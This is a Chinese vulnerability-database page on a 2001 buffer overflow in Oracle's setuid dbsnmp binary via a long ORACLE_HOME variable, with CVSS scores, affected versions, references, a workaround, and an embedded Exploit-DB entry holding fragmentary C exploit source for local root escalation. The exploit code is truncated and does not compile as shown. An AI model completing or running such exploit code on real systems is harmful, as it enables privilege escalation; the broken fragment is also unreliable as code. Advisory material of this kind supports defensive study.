发布时间 :2001-11-30 00:00:00
修订时间 :2016-10-17 22:13:41

[原文]Buffer overflow in dbsnmp in Oracle 8.0.6 through 9.0.1 allows local users to execute arbitrary code via a long ORACLE_HOME environment variable.

[CNNVD]Oracle DBSNMP Oracle Home环境变量缓冲区溢出(CNNVD-200111-061)

        Oracle 8.0.6到9.0.1版本的dbsnmp存在缓冲区溢出漏洞。本地用户借助超长ORACLE_HOME环境变量执行任意代码。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:oracle:database_server:9.0.1Oracle Database Server 9.0.1
cpe:/a:oracle:database_server:8.1.6Oracle Database Server 8.1.6
cpe:/a:oracle:database_server:8.0.6Oracle Database Server 8.0.6
cpe:/a:oracle:database_server:8.1.7Oracle Database Server 8.1.7

- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20011130 ASI Oracle Security Alert: Oracle Home Environment Variable Buffer Overflow
(UNKNOWN)  BID  3138
(UNKNOWN)  XF  oracle-dbsnmp-home-bo(7643)

- 漏洞信息

Oracle DBSNMP Oracle Home环境变量缓冲区溢出
中危 缓冲区溢出
2001-11-30 00:00:00 2005-10-20 00:00:00
        Oracle 8.0.6到9.0.1版本的dbsnmp存在缓冲区溢出漏洞。本地用户借助超长ORACLE_HOME环境变量执行任意代码。

- 公告与补丁

        A vendor supplied patch is also available from:

- 漏洞信息 (21044)

Oracle 8/9i DBSNMP Oracle Home Environment Variable Buffer Overflow (EDBID:21044)
windows local
2001-08-02 Verified
0 Juan Manuel Pascual Escribá
N/A [点击下载]

Oracle is an Enterprise level SQL database, supporting numerous features and options. It is distributed and maintained by Oracle Corporation.

When the ORACLE_HOME environment variable is filled with 750 bytes or more, a buffer overflow occurs. This overflow may be used to overwrite variables on the stack, including the return address. Since the dbsnmp program is setuid root, it is possible to gain elevated privileges, including administrative access.

To exploit this vulnerability, the user must be in the oracle group. 

/* Exploit code for dbsnmp binary in Oracle Linux Platform. I tested it in RH 6.2.

dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variable. Its necessary to call setuid(0) before normal shellcode.

In My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal (uid=oracle) shell for low offsets (incomplete setuid(0) jumps). 

"Cae fuego en lugar de mana
Se disfraza el asfalto de mar
El zapato no encuentra el pedal
Parece que anda suelto satanas."


This vulnerability was researched by:
	Juan Manuel Pascual <>

Special thanks to:

	Ivan Sanchez <>
	Mundo Alonso-Cuevillas <>

#include <stdio.h>
#include <stdlib.h>

#define BUFFER                                  800
#define OFFSET                                 7896
#define NOP                                    0x90
#define BINARY  "/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp"

char shellcode[] =
"\x90"		/* Additional NOP */
"\x31\xc0"	/* begin setuid (0) */


unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");

void main(int argc, char *argv[]) {
  char *buff, *ptr,binary[120];
  long *addr_ptr, addr;
  int bsize=BUFFER;
  int i,offset=OFFSET;

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");

  addr = get_sp() -offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;


ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';


- 漏洞信息

Oracle dbsnmp ORACLE_HOME Variable Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public Vendor Verified

- 漏洞描述

A local overflow exists in Oracle. Oracle fails to perform proper bounds checking on the user supplied ORACLE_HOME variable in dbsnmp resulting in a buffer overflow. With a specially crafted request in which the value of ORACLE_HOME is more than 750 bytes, an attacker can cause execution of arbitrary code resulting in a loss of integrity.

- 时间线

2001-11-29 Unknow
2001-11-30 Unknow

- 解决方案

Currently, there are no known upgrades to correct this issue. However, Oracle has released a patch to address this vulnerability. It is also possible to correct the flaw by implementing the following workaround: chmod -s dbsnmp

- 相关参考

- 漏洞作者

Unknown or Incomplete